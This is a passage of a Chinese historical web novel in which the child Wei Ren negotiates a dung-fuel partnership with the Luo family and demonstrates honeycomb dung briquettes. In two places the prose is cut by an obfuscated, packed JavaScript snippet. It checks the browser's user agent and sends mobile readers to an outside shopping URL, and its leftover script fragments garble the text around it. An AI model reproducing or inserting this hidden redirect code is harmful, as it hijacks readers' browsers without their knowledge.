将这些都打听清楚后,石大郎才带着石岩和沈决明离开王季家,走之前,石大郎叮嘱王季先别宣扬这事,王季自然答应。 走出畜牧场,石大郎问石岩和沈决明:“知道接下来要做什么吗?” 石岩看一眼沈决明,见他没有要说话的样子,想了想说:“看看县里有哪些列肆或者工坊之类的地方可能会用到那些畜粪?”五郎君想赚钱,总要把那些粪块卖出去才行。 石大郎颔首,视线转到沈决明身上,等待他的回答。这其实是石大郎足够周到,他一听韦仁让他出来办事时带着沈决明,就知道,韦仁是想让自己带带沈决明。 沈决明也知情,见石大郎问了,就蹲在地上划字:附近还有畜牧场吗? 石大郎赞赏地看向沈决明:“有,就在蕃县,比这里稍微远一些,但也没远太多。咱们家虽和罗家有交情,但万一谈不成,总要另想办法,主人们问起来,咱们也不至于什么都答不上来。” 三人随后便分头行动,石岩一个人回县城调研列肆和工坊,石大郎则带着沈决明前往蕃县的畜牧场。 30.第一桶五铢钱三 石大郎带着沈决明和石岩忙了三天,总算把韦仁想知道的事情全部打听清楚。 韦世然好奇韦仁如何折腾马牛羊粪,但对韦仁如何把这些粪便换成五铢钱兴趣不大,也就没想掺和。 但韦仁指使了石岩,而石大郎肯这么用心其中必有石岩的关系,所以,韦仁觉得赚了钱后不分韦世然一份有些说不过去,为了不让自己太亏,韦仁做计划时就拉了不甘不愿的韦世然给自己做文书。 于是,韦玄成休沐回家时就看到了由二儿子提供内容、大儿子操笔撰写的《畜粪燃烧试验记录》和《论五郎如何用畜粪赚钱》。 细细看过后,韦玄成真心觉得,自家二儿子自从进学后,可真是越发能折腾了。 韦玄成的心情有些复杂,不过他并没有如赵氏那般犹豫,只略想了想,便点头答应了:“行,那就试一试吧。” 韦仁欢呼一声,高举手臂:“谢谢阿翁!” 韦世然也挺高兴,被韦仁指使着写写算算好几天,他自然也希望这事能成。 韦玄成左手向下压了压,等到韦仁乖乖坐好,才点着那份赚钱计划书说道:“你这事若能成,一年获利至少两万,最重要的是,这几乎是无本的买卖,五郎,这事你是不可能长久做下去的。” “我也没想长久做。”韦仁同样指指自己的“计划书”,“我只和罗家签三年的券书。” 韦玄成真不明白才活了两个三年的韦仁怎么会觉得三年并不长,不过,看韦仁那副理所当然的模样,韦玄成没再多劝,而是说:“既然如此,若是子诚答应,明天我就带你们去罗家,韦仁,你自己与他们谈。”韦玄成才到家就听赵氏说了这事,便让人给罗江送去了竹谒,。 韦仁本就想亲自与罗家谈一谈,对韦玄成的安排满意得不得了,给韦玄成按了一刻钟的肩膀,又捶了一刻钟的背才高高兴兴地回去了君子院。 待到只剩夫妻二人时,赵氏问韦玄成:“你觉得五郎这事能做成吗?” “这事本也不难做,不过在于一个‘巧’字,谁能想到畜粪能当木柴烧呢?”韦仁若是做个稀奇古怪的玩意儿拿来卖,那还要看有没有人买,那些畜粪烧火的效果,若是真如韦仁记录的那般,定是不愁卖的,“哪怕有人嫌弃不肯拿去烧饭烧水,像咱们家的竹园,部分木柴就能用畜粪替换掉,何况五郎定价低了那许多。” “我不是担心这个。”赵氏有些发愁,“罗家那边现在是不知道五郎要那些畜粪做什么,或许会答应用两千铜钱换取那些畜粪,但日后见他转手就获取十倍利甚至更高,换谁心里也不会痛快。” “哪里就能有十倍了,他也就借着咱们自家的方便,才能省下许多花费和麻烦。” 赵氏推了韦玄成一把:“谁与你说钱的事了!” 韦玄成轻笑,抓住赵氏的手放在自己的膝头:“你还担心罗家给咱们五郎使绊子?” “你不担心?那畜牧场里只要有一个妒恨五郎这买卖,使绊子的法子太多了,失些钱财都是小事,我怕有人在外面说嘴。罗子诚是明白人,在罗家也说得上话,但他做不了所有人的主,万一有脑子不清楚的,你和罗子诚可都不好办。” “子诚通透,不会在意那些人事,咱们五郎嘛……”韦玄成摸摸下巴,说道,“我劝过他了,他自己不听,若是被人找麻烦,正好让他知道,该多听长辈教导。” 赵氏一阵无语:“你可真是……” “不管他,小孩子嘛,挨些教训也不是坏事。”韦玄成安慰赵氏,“名声的事你也不用担心,五郎才多大,再说,还有我在呢,而且,我总觉得那小子还有事没说……” 赵氏眼睛微睁,把手从韦玄成的手中抽出,然后反握住韦玄成的手:“你也这么觉得?我也有些感觉!我本想等到他们满十岁再把用度往上调一调,你说,要不要今年收成下来,就给他们涨一涨用度?” “……钱的事,夫人说了算。” 次日,韦仁精神抖擞地用完早食,精神抖擞地写完课业又精神抖擞地练完大字后,就和韦世然一起坐上牛车,随着韦玄成去了罗江家。 罗氏畜牧场由现任罗氏族长的长子和三子共同管理,罗江就是族长的三儿子,罗氏族人大多住在渐兴聚,不过罗江家在县城内,而且与熊大宝家竟然很近。 罗江早就从王季那里听说韦仁想买畜粪的事,韦玄成昨日派人送竹谒时也提到今日来访会带着家中的两个儿子,便知道是要谈畜粪的事。 罗江带着长子罗朗和侄子罗肖在门口迎接韦玄成一行,不说韦玄成和罗江,罗朗与韦世然也不陌生,需要介绍的只有韦仁和罗肖两人。 罗肖是罗家长房的次子,排行三,王季口中那个花了500铜钱买了假消息的“二小郎君”就是罗肖的兄长。罗江毕竟是弟弟,虽然畜粪的事他能做主,不过还是要与兄长知会一声,罗海就把罗肖派来做个见证。 双方介绍寒暄完毕,罗江就看向了韦仁,近一年间,他见过韦世然几次,对韦仁的印象却是还停留在一年多前——一个不爱说话又十分瘦弱的小娃娃。 今日一见,罗江不免诧异,韦仁自然还是个小矮子,也不如韦世然那般健硕,但却有了精气神儿,那双大眼睛闪闪亮亮的,看着就是个机灵娃娃。 而且,面对他这样一个身高近八尺、面黑如铁又蓄了半脸浓密虬髯的陌生长辈,韦仁丝毫不见怯弱害怕,刚刚与他见礼时还对他露出一个大大的笑容,那两排米粒似的牙齿雪雪白的,真是太可爱了! 罗江一把将韦仁抱起来:“哎呦,真是长大了,还记得罗伯伯吗?” 韦仁凭空拔地起,脑袋晕了一下,感受到屁股底下坚实有力的手臂,韦仁才稳定了心神回应罗江的话:“不记得了。不过,我今天带了罗伯伯送我的司南佩,家母说这是罗伯伯第一次见到我时送给我的,还说,让大兄和我代她向罗伯伯和周伯母问好。”说着,韦仁拿起挂在胸前的司南佩,在罗江面前晃了晃。 罗江哈哈大笑:“好!好!”罗江一手抱着韦仁,一手呼噜了一把韦世然的脑瓜顶,那力道,揉得韦世然愣是撤了一步才站稳,罗江看向韦玄成,“你家孩子都养得好,长得好,有气度!” 韦玄成和罗江是好友,并不客套,反而故作不满地说:“上次夸四郎也是这句话,这次还多了个小的呢,兄就没别的词儿了?” 罗江又是一阵大笑,声音洪亮,震得韦仁耳朵嗡嗡的:“我又没读那许多书,想不出其他的词了,反正,我夸不夸,也都是好孩子。” 一众人自门口步入院中,韦玄成和罗江一路聊天,有提到韦玄成在先师讲堂的事,也有说到罗江上个月前往长安的事。一直到正堂,众人分宾主落座,罗江的妻子周氏也来陪着说了几句话,众人又用了些食水点心,罗江才提起今天的正事。 “四郎五郎,畜粪的事我听王季说了,罗伯伯先与你们保证,你们想要,咱们就有。”罗江指指罗朗和罗肖,“至于这事具体要怎么做,你们四个自去商量,商量好,我和少翁再给你们把把关,这事也就成了。” 韦仁看一眼韦玄成,见韦玄成不反对,就拉起了韦世然,二人随罗朗和罗肖一起去了正堂左侧的内厅。 韦世然看着走在前面比自己高出不止一个头的罗朗和罗肖,偷偷与韦仁咬耳朵:“他们比咱们大了好几岁,阿翁都不帮咱们。” 韦仁露出一个有些意外又有些欣喜的笑容,活像一只看见鸡胸脯的小狐狸:“这才好呢,说明罗伯伯没想赚咱们的钱。”至少没因为他想要那些畜粪,就想趁机在他身上薅一笔。 韦世然有些不懂,不过听韦仁的话,应该不是坏事,他也就放心了。 内厅也有主位,罗朗却没有坐,而是如在正堂一样,和韦家兄弟两两相对地分坐在客位。 罗朗长相肖父,但他还没有蓄须,说话时的音量也没那么高,整个人看起来就显得敦厚温和。坐下后,他也没有直接说事,而是先与韦仁说:“我们家也有个五郎,和你重了,和世然一样,我直接叫你阿仁吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191519|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韦仁自不会反对,笑眯眯地应了:“听罗大兄的。” “你第一次来家里,千万别拘谨,以后常来往,咱们也就熟了。阿仁,你先与我说说那个畜粪的事吧?我听王管事说的,是你想要,是吧?”说这话时,罗朗的眼睛不自觉往韦世然身上扫了几回。 没办法,哪怕有罗江的叮嘱,罗朗再想端正态度,对着一个六七岁的娃娃,他仍是有些怀疑,这事到底是韦世然主导,还是韦仁主导。虽然和韦世然谈买卖他多半也会抱有疑虑,但有韦仁对比着,韦世然的年龄就显得成熟了。 “对,是我想要的。”韦仁从袖子里掏出一块木牍递给罗朗,“我取了整数,马十匹、牛二十头、羊三十只,每两日往新聚韦庄送一次,每次35担。” 罗朗一边听韦仁说话,一边看木牍上列的数字和要求。 原本罗朗见木牍上的字十分稚嫩,才有些放心,无论怎么说,这木牍肯定是两个小孩儿写的,结果听完韦仁的话,罗朗的心又提起来了:“阿仁,木牍上写的可是百石?”不会是记错了吧? “那些畜粪从畜牧场运到韦庄时,差不多就是35担了。” 罗朗恍然:“对,我忘了,刚拉出来的粪是湿的,这石数是你们算出来的?” “是。”韦仁简单讲了一下他们是如何用自家和邻居家的牛马羊作为标准算出的这些数据,“肯定有误差,但不会太大。”所以,以后给我运粪的人也别想偷斤少两。 罗朗不禁想起家族里几个和韦仁同龄的弟弟,别说算这些了,好些连数都没数清呢。 罗朗的背脊离开凭几,试探地问道:“阿仁,我能问问,你要这些畜粪是做什么用的吗?” 韦仁想了想,还算诚实地回答了这个问题:“我想用它们卖钱,顺便做些其他尝试。” 罗朗还没说话,刚刚一直漫不经心听着的罗肖一个没忍住,一口蜜水全喷了出来:“哈哈哈!竟是真的,第一次听说有人拿粪换钱的!妙!妙!”罗肖拍着凭几大笑不止。 罗朗无奈地看一眼罗肖,递给他一块帕子:“什么样子,快擦擦。” 韦世然瞪着快笑瘫的罗肖:“这有什么可笑的?” “怎么不好笑了?”罗肖一点儿没有他比韦世然大了好几岁的自觉,一边抹着眼角笑出的泪花,一边调侃韦世然,语气中尽是嘲讽,“世然弟弟,我现在给你铲一簸箕马粪过来,与你换一枚五铢钱,你可愿意?” 韦世然磕巴都没打一个,喷出五个字:“当然不愿意!” 罗肖才要说“你看你自己都不愿意买,还想卖给谁?”,谁知韦世然的话还没说完。 “一簸箕马粪根本不值一枚五铢钱。”韦世然给韦仁写文书也不是白写的,一担马粪都卖不到五铜钱,一簸箕马粪就想要一铜钱,罗肖想得可真美! 韦世然的语气太过笃定,就仿佛在说“一头牛犊4000钱”这种人尽皆知的事一般,反而是他们不知才是件怪事。 罗肖不禁一愣,罗朗也是惊诧,顾不得斥责罗肖,若有所思地看向韦世然:“世然,你觉得,多少马粪值一枚五铢钱?” 韦世然张嘴刚要回答,胳膊被韦仁拽了一下,韦世然猛然想起韦仁来罗家之前的叮嘱,又把嘴巴闭住了:“我不告诉你们。” 罗肖不屑地“啧”了一声,重新倚回凭几,目光却似有若无地打量起面前的两个小孩儿。 罗朗见韦世然一副差点儿被骗出大秘密的样子,轮廓粗犷的面容上展开一抹宽容的笑容:“怎么,这事不能与兄说呀?” 韦仁盯着罗朗那双含着笑意的铜铃似的牛眼,感觉这人和牛的那种温顺憨厚沾不到边,也不是罗江那样的豪放大气,反而有些像那些遇到一只羊就得顺手薅一把的人。 罗朗的视线突然转向韦仁,韦仁与他四目相对,眼睛瞬间弯成了一个月牙:“罗大兄,一簸箕马粪值多少钱,正是咱们现在需要商量的。”韦仁直奔主题,“我要那些畜粪,需要给畜牧场多少钱呢?” 31.第一桶五铢钱四 多少钱? 按照罗江的说法,以前白扔的东西,让韦仁意思意思给些脚钱,不让倾脚夫白干也就罢了,毕竟以他和韦玄成的交情,在这上面赚钱就太没意思了。 罗朗原本也不反对这个决定,但看到木牍上写的“三年”的期限以及韦家兄弟刚刚的表现,罗朗右手食指与拇指来回摩挲了几圈儿,不答反问:“说实话,我也不知道,毕竟之前没做过这方面的买卖。我看世然和阿仁你们心里是有数的,不妨说一说?” “我们心里确实有数,但不说畜粪的买卖,大兄和我什么买卖也没做过,怕说出来叫人笑掉大牙。”韦仁看着罗朗,语气要多诚恳有多诚恳,“罗大兄,你说个数让弟弟们参考参考,行吗?” 罗肖正端着杯子想抿一口蜜水,闻言动作一顿,眼珠子狠狠斜向韦仁:嘿,你个小东西竟敢嘲笑我! 罗朗心下好笑,也不磨叽,说道:“我原想着你们每月给倾脚夫三四百的脚钱也就罢了。” 韦仁看着罗朗,知道他没说虚话,点了点头:“罗大兄厚道。”就是“原想”这个词用得很是玩味呀。 “现在能说你们打算定多少钱了吗?” 韦仁似乎还是有些犹豫,顿了几息才说道:“我们原想除了每月350钱的脚钱外,第一年给畜牧场每月100铜钱,第二年300铜钱,第三年,看情况是400或者是500铜钱。” 韦世然侧头看了韦仁一眼,有些疑惑:原来不是这样说的呀? 罗朗注意到了韦世然的小动作,但没参透其中真意,只问韦仁:“怎么还一年比一年多了呢?” “万事开头难,万一第一年不赚钱,能少亏一点儿,后面做熟了,赚得多了,能分的钱自然也就多了。” 罗朗称赞道:“阿仁小小年纪竟是如此仗义。”心下已经开始盘算韦仁的这个买卖。 罗肖却是忍不了了,连跪姿都不肯维持,撅起屁股把下面的支踵顶到后面去,盘腿坐在席垫上,左手撑着下巴,右手捏着羽毛扇子指着韦仁,问道:“这位弟弟,你和我说说,那些臭烘烘的东西是什么好物,一年能赚到10200铜钱,不对,你肯给我们那么多钱,肯定是觉得能赚到更多?” 罗肖的语气中带着火气,听得韦仁有些不明所以,但现在做主的明显是罗朗,韦仁也没把罗肖的态度放在心上,只摊摊手:“赚不到又如何,我亏得起。” 韦世然忍不住又看了自家弟弟一眼,他敢确定,韦仁钱箱里的五铢钱一定超不过40枚。 这小崽子!罗肖手心痒痒,下意识就去看小案上的水杯。 罗朗本在想事情,见状不得不出声打圆场,先安抚韦仁:“阿仁别介意,他就是这个脾气,小儿一般,什么都好奇,还不若你们稳重。” 罗朗探身,把罗肖跟前小几上的杯子拿起来塞到罗肖的手中:“渴了就多喝点儿水,还有,说笑归说笑,买卖上的事,哪怕是一家人,有些事也不能随便打听。”说完,罗朗又警告地瞪了罗肖一眼,他和他那些狐朋狗友可以一言不合就互相泼水扔杯子,敢碰韦世然和韦仁一根手指头试试,韦玄成能让人打断他的腿! 罗朗重新看向韦仁,斟酌着说:“阿仁,我还有个事情想请教于你。” “请教不敢当,兄尽管问,我知无不言。” “世然和你都在进学,用畜粪赚钱这事,你们是吩咐自家僮人去做,还是已经有其他合作的人了?” 韦仁心中一动,笑眯眯地说道:“还没想好,虽然咱们才第一次见着,但我阿翁和阿母都说过,罗大兄特别有见识,不如兄教教弟弟们,哪种方式更好呢?” 罗肖磨牙,罗朗禁不住笑出声:“我是想,你们若有意与人合作,不如咱们两家一起做这件事,我保证,哪怕这事做不成,阿仁你也不会亏掉一枚铜钱,若是能挣钱,三年内,你们拿大头,三年后如何,咱们可以到时候再商量。” “愿闻其详。” 罗朗见韦仁如此沉得住气,心中的想法更加坚定,语调平稳地说道:“你只要告诉我们那些畜粪如何能换到钱,其他的人力物力皆由我们出,若能赚到钱,我们四六分账,你们占六,若半年内赚不到钱,咱们就解除这个合作或者想其他办法。” 罗肖不可思议地看向罗朗:“从兄?”罗朗傻了不成,有一个傻子哥哥已经够丢人了,难道还要再多一个?! 罗朗没搭理罗肖,只看着韦仁。 韦世然也在看着韦仁,他不止看着,还趴到了韦仁耳边叽咕:“我觉得罗大兄的主意不错。”主要是省事啊! 韦仁垂着眸子,快速在心里计算,很快便有了结果:别说四六分账,哪怕五五分账,他会比预期中的少得一些银钱,但可以省不少事,完全不亏。 韦仁思考的时间并不长,很快,韦仁便做好了决定,问罗朗:“罗大兄,如果咱们合作,你是与我分木牍上说的那些畜粪的盈利,还是你们能收集到的所有畜粪的盈利?” 罗朗眼中划过一抹精光,他没多做犹豫,肯定地说:“自然是所有的。” 罗朗爽快,韦仁也不矫情:“既然如此,那咱们四六分账,罗大兄你们占六。” 虽然连这买卖的边儿都还没摸到,罗朗心中却极其畅快,哈哈大笑:“真是咱们鲁国的好儿郎!爽快!”罗朗现在的笑容倒真有几分肖父了。 眼见着罗朗和一个小崽子认真谈起未来的赚钱大计,罗肖忍不住打断,说道:“从兄,你还真信了他们能靠那些玩意儿赚钱不成?” 罗朗看向罗肖,见他满脸不忿,知道罗肖是在膈应罗明的事,但他不好在韦世然和韦仁面前与他辩论那事,只说:“三郎,注意场合。” 罗朗虽出自三房,却是他们这一辈的长孙,很受祖父器重,在他跟前,罗肖也不敢太过造次。 罗肖撇了撇嘴,看向韦仁,眼神中全是挑衅:“你现在是稳赚不赔了,说说吧,哪个钱多的傻子肯买你那些臭烘烘的玩意儿?” 罗朗蹙眉,才想着是不是先把罗肖支走,对面却是有了动静,有动静的不是韦仁,而是韦世然。 韦世然没有回怼罗肖,他只是直勾勾地盯着罗肖看,时不时“嗤嗤”笑两声。然后,只过了一小会儿,韦世然似是想到了什么有趣的事,实在憋不住了,两只小手抱着肚子,开始仰头大笑:“哈哈哈哈哈!”傻子!傻子!以后罗家全是钱多的傻子! 韦世然笑得太厉害了,直接从支踵上歪了下去,韦仁怕他磕着,忙扶了一把,不过他和韦世然通了灵犀,不禁也勾起了唇角。 罗肖被这兄弟俩笑得发毛,拔高了声音,色厉内荏地质问:“你们笑什么?!” 韦世然笑得太厉害,接不了话。 韦仁便收起笑容,不慌不忙地回答道:“罗三兄别误会,我们没笑你,只是想到以后能赚到钱,自然高兴。”结果,话音才落,韦仁突然“噗嗤”了一声,然后忙忙伸手捂住小嘴,眼巴巴地看着罗肖,“我们真没在笑你。” 罗肖一口气没喘上来,脸色胀红,一手捂着胸口,一手拿着扇子指向韦仁,那扇子颤抖得呦,看得罗朗都没敢再训斥他,生怕他气出个好歹。 罗朗有些头疼,一把压下罗肖的手,转头对着韦仁,说道:“好了,你别逗他了,咱们先说正事。”让一个六岁的娃娃不要逗一个十六岁的少年,罗朗都不知道自己在胡说八道什么。 韦仁也想今天就把事情都办完,双手揉了揉脸颊,重新整肃了颜色,说道:“罗大兄,我们确实有把握把那些畜粪卖出去,不过告诉你主意之前,我想先把券书签了。” 罗朗挑了挑眉,半玩笑半认真地说:“很谨慎嘛,放心,以咱们两家的交情,我敢坑你,家父就饶不了我。” 罗朗说的话,韦仁是相信的。不说这时候的人本来就重诺,就畜粪能赚得的那些钱,对于韦仁是个大数目,对罗家还真不算什么。 但韦仁是不相信自己的相信的,所以,韦仁只是摇了摇头,脸上是踏进罗家以后从未有过的郑重:“我相信罗大兄的话,也相信罗家的家风和品行,不过,买卖就是买卖。” 韦仁如此坚定,罗朗并没有生气,心中对韦仁的评价反而更高了。 除了二人已经沟通好的部分,韦仁还增加了诸如自己会派人查账、畜粪三年内的价格浮动区间等条件,韦仁本来还想给自家捞点儿福利,比如自家买的时候要打个折啥的,但犹豫了一下还是作罢了,人不能太贪心。 韦仁事前早有规划,只花了一刻钟就与罗朗商定好了所有细节,罗朗执笔写好券书,还帮韦仁誊抄了一份,四人便起身离开了内厅去找韦玄成和罗江。 韦玄成和罗江此时已经不在正堂,而是在院中一棵梧桐树下下棋。 罗江手中的玉石棋子在他那粗壮的指尖的衬托下显得格外小巧,韦仁的视线自那黑色棋子挪到石桌棋盘上,惊愕地发现,竟是黑子占优。 韦仁忍不住用余光把罗江自头到脚地又打量了一遍,和自家亲爹那书卷气浓浓的外貌相比,这位罗伯伯真是充分诠释了什么叫人不可貌相! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210880|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个小辈静静立在旁侧围观两位长辈下棋,哪怕是一脸不耐烦的罗肖都没有发出一点儿声音。 又过了一刻钟,韦玄成忽然丢出手中已经捏了好一会儿的一枚白子,棋子掉在棋盘上撞乱了一片黑白子:“又输了。” 罗江对韦玄成拱拱手:“承让!” 韦玄成叹气:“哪里是我让,是兄一点儿机会都没给我。” 罗江指着一枚白棋:“这一步下得好,真是吓了我一跳,从来没见过这个路数。” 韦玄成有些得意:“能让子诚兄惊一惊,我也算没白琢磨。” 韦玄成和罗江又就这盘棋讨论了几句,方看向韦仁几个,罗江先开口,问道:“商量妥了?” 罗朗将两份券书分别递给韦玄成和罗江:“是,阿翁、叔父看一看,可还有哪里需要改正。” 韦玄成和罗江先后看完,二人对视一眼,两人同时大笑起来。 罗江蒲扇似地大掌自额头顺到头顶的发髻,摸了摸别在发间的紫檀冠簪,对韦玄成感叹:“真让你说着了,咱们身上的好处,这些崽子们一点儿没学到,一个个的,毛儿还没长齐,心眼子倒是都不少!” 韦仁罗朗:…… 罗朗小心翼翼地问道:“呃……阿翁、叔父,是有哪里不对吗?”“小崽子们”都有些莫名其妙,那券书上有什么值得你们二位如此笑的?还有,那话是夸奖吗?是夸奖吧? 罗江没好眼神儿地瞪了自家儿子一眼,甩甩手里的木牍:“你还好意思问我,你都好意思去占你两个弟弟的便宜!” 罗朗被说得有些羞臊,顺了顺耳后的头发:“分成可以再谈的。”罗朗承认,他是想在韦仁口中的那个买卖上分一杯羹,但比起他以往的作风,他对韦仁绝对是手下留情了。 韦玄成摆摆手,对着罗江说道:“兄可别这样说,我家那个也不是奔着吃亏去的。”韦玄成口中的“那个”指的自然是韦仁。 韦仁看一眼韦世然,示意他有话就先说,韦世然其实想问罗江口中的“好处”是什么,但他知道不应该现在问,所以只说:“罗伯伯,我没觉得罗大兄和罗三兄有占我们便宜。”韦世然总觉得他们才是占便宜的那个。 韦仁跟着点头,表示赞同韦世然的话。韦仁其实有点儿怀疑罗朗脸上那红晕是装出来的,因为他觉得罗朗的脸皮应该比他的厚,反正韦仁一点儿没觉得害臊。 “罗伯伯,罗大兄很有眼光,也有心胸,没因我们年幼就小瞧我们,一开始也说让我们占大头,但我觉得那样罗大兄就太吃亏了。”韦仁突然就觉得自己的脸皮不仅不厚,反而有些薄了,韦仁有些羞涩地说,“我脸皮厚一点,姑且算我们是‘双赢’吧,若是没问题,就这样定了?” 罗肖站在一边,冷眼看着韦仁表演,心口越发堵得慌,他是绝不相信韦仁靠着畜粪能挣钱的,偏偏罗朗一副要与韦仁合作到底的架势,他就等着看韦仁能说出什么狗屁法子来贻笑大方! 韦玄成对自家二儿子那粉嘟嘟的小圆脸儿上的笑容也有些不忍直视,罗江却大笑着把韦仁抱坐到他的大腿上,使劲揉了揉他的脑袋:“五郎可真招我喜欢,少翁,咱们两家结个娃娃亲吧?” 韦仁:…… 勿需韦玄成说话,韦仁一点儿没给罗江面子,挣扎着从罗江腿上逃开,迅速跑到韦世然身后。韦仁抓着韦世然的袖子,视线越过韦世然的肩膀,与罗江对视:“不做宰,不成家!” 韦仁一边说,一边想:做个屁的宰相,等有钱了就买个官爵,有事给人看看病,没事琢磨琢磨吃喝玩乐,要是再能逮到一只合心意的18……嗯的小狼狗,那日子才美呢! 罗江听了韦仁的话,却是耸起浓密的眉毛,击手赞道:“好!有志气!” 韦玄成轻叱一声:“五郎,不得无礼。”说完,又无奈地看向罗江,“兄别逗他了,别看他皮猴子一样,比四郎可爱哭,逗急了,他能把你家淹了。” 罗江又笑了一阵,这才说:“好了好了,五郎,来说说你那赚钱的法子吧,你阿翁一定要替你保密,罗伯伯也好奇得很。” “东西我放在牛车上了,我去取来,不用我说,罗伯伯一看就能明白。” 不多时,众人面前便出现了三个土黄色的圆囷样的东西,稍微奇特一点的是,每个圆囷上都有数个贯穿上下的圆孔。 韦仁展开手臂,在空中划了一道弧线,引导着众人的视线落在那三个东西上面:“锵锵锵!就是这个了,我将其命名为‘好燃又干净的蜂窝柴’!” 32.第一桶五铢钱五 罗家三人打量着这三个长得一模一样的东西,罗朗更是直接蹲到跟前,还想上手去摸一摸,被韦仁连忙给阻止了:“罗大兄,那块是牛粪。” 罗朗手指顿了一下,不过没有收回来,仍是去摸了一把,还拿起来在手上掂了掂:“还真是啊。” 罗肖也有些好奇,不过他硬是站在原地没动弹,这时听到韦仁的话,忍不住阴阳怪气地说:“阿仁弟弟,换个模样,也是牛粪啊。” 罗朗蹙眉,大家私下里互相拌几句嘴无妨,但罗肖当着长辈的面还挑衅来访的客人,罗朗嘲讽的不仅是韦仁,还在打他们三房的脸。 罗朗沉下眉眼,不悦地看向罗肖:“三郎,住口!” 罗肖不服气,才要反驳,韦仁突然对着罗肖伸出一只手,四指并拢,和大拇指一张一合地对了几下,指尖相碰时,发出很轻的“啪啪”声。 罗肖没看懂,但直觉韦仁这动作代表的肯定不是什么好话,眉头拧起来:“你什么意思?” 韦仁面无表情地撅起粉嫩嫩的小嘴,发出一长串“呱呱呱呱”的声音。 因为韦仁这反应太过无厘头,罗朗和罗肖心口的气都串了道儿,一时皆不知道该如何反应。 韦仁看出罗肖脸上的茫然,知道这蠢货压根儿不知道自己在说什么,反正骂完了,韦仁不再搭理他,重新与罗朗说话。 韦仁将那卷写着《畜粪燃烧试验记录》的竹简递给罗朗,说道:“罗大兄,这些畜粪晒干后都是可燃烧的,这上面是我们在家里做的各种尝试和结果,你看一遍就明白了。” 说着,韦仁从一起拿过来的盒子里面取了巴掌大的铜镜、艾绒以及一些散碎的枯树枝,打算现场展示一下“好燃又干净的蜂窝柴”的燃烧效果,嘿嘿,他终于有机会点火啦! 韦仁小心调整着铜镜的位置,试图以最完美的角度凝聚起阳光以让那团艾绒快点儿烧起来,结果,韦仁举着镜子的手都酸了,艾绒也只是虚虚地冒了些烟。 罗肖嗤笑一声,罗朗顾着韦仁的面子没有笑,但也觉得再这么等下去不是事,探手从韦仁手里接过铜镜:“还是我来吧。” 罗朗显然很熟练,艾绒和枯枝很快燃烧起来,下方的干粪自然也跟着烧了起来。 看着上下翻腾的火苗,韦仁松了口气,说道:“罗大兄可以按照竹简上的方法去验证,上面的数据我是可以保证的,只要我们把价格定在木柴的八成,保准能卖出去。”说着,韦仁又递给罗朗一个木牍,“这上面列着县内可能会购买‘好燃又干净的蜂窝柴’的工坊和商肆的名单。” 罗朗接过木牍,眼中映着活泼窜动的火苗,有光芒在其中一闪一闪的:“我信阿仁你说的。” 别说八成,再低一点都没问题,他们家获取畜粪可比柴炭商获取木炭便宜许多! 罗朗想起这些年白白埋掉的那些畜粪就心痛不已,强压下心中那抹疼痛,罗朗指着“好燃又干净的蜂窝柴”,问韦仁:“为何将它们做成这样?看着有些像铁官厂里的煤饼,那些洞是有什么讲究吗?”罗朗下意识地数了一下,上面一共有九个洞,他就想多了,当然这也不怪罗朗,因为读书人就是这样讲究。 韦仁这个正在读书的人却没领会罗朗的言下之意,双手环了一圈儿做出一个包围的样子,韦仁说道:“火都是从外面往里面烧的,木柴稍微粗一点,里面经常会烧不尽。中间开了这些孔洞,相当于是从里到外一起烧,不会浪费,晾晒时也能更快干透。” 罗朗默了一下,随即点头:“原来如此。” 韦仁指了指躺在一边的一个木制压模器和一双成人小臂长的竹制筷子:“这些是我大姊做的,这个是用来压模的、那个是用来夹这些蜂窝柴的,不会脏手,很方便的。” 罗朗也认识韦元茹,闻言便笑着称赞了一句:“以前就听闻,茹妹妹聪慧博闻,还有一双巧手。”说完,罗朗看着因为蹲着显得越发小小一只的韦仁,真心实意地说,“阿仁你也很聪明!” 韦仁笑笑:“罗大兄这样看得起我,我便多一句嘴,你自家用这些……”说到这里,韦仁先确认地问道,“罗大兄,你自家会用吗?” “这是自然。”今年的柴炭钱能省下一大笔了! “既如此,我提个建议。”相处这半日,韦仁认为罗朗还算可交往之人,便说了自己之后的一个计划,“烧完的干粪,兄不妨留下做些尝试。” 罗朗对韦仁和韦仁对他的想法类似,自然不会忽视韦仁的话,罗朗小腿一跨,直接蹲到韦仁身边,感兴趣地问道:“怎么说?” 韦仁点点还在烧着的畜粪:“它们能烧是因为里面有很多草杆,草杆燃烧后就是草木灰。罗大兄,你知道草木灰能肥地吧?” “知道。”有效果,但也没有很突出。 韦仁把自己拿家里的艾草做试验的事说与罗朗:“收集这些畜粪燃烧后的灰烬,放置一个月到六个月……甚至一年不等,在不同时段,用不同植物和不同分量的灰烬做尝试,然后对比植物的长势。”韦仁自己还没有十分明确的计划,所以也只说了个大概,但该说的也都说了。 韦仁很希望罗朗跟他一起做试验,罗朗能动用的资源比他多得多,事后能拿到的数据也就多了,也就越容易确定施肥效果。 为了说服罗朗,韦仁又加了一些旁证:“我先生说《荀子》里明确提到过‘多粪肥田’,一位师伯也提到过粪肥可以让庄稼增收,可惜他们也有诸多不解的地方。我听说咱们这里的人都不太用粪肥,想是没找到准确的法子,这干粪燃烧后,里面又有草木灰,又有粪,我觉得可以试一试。” 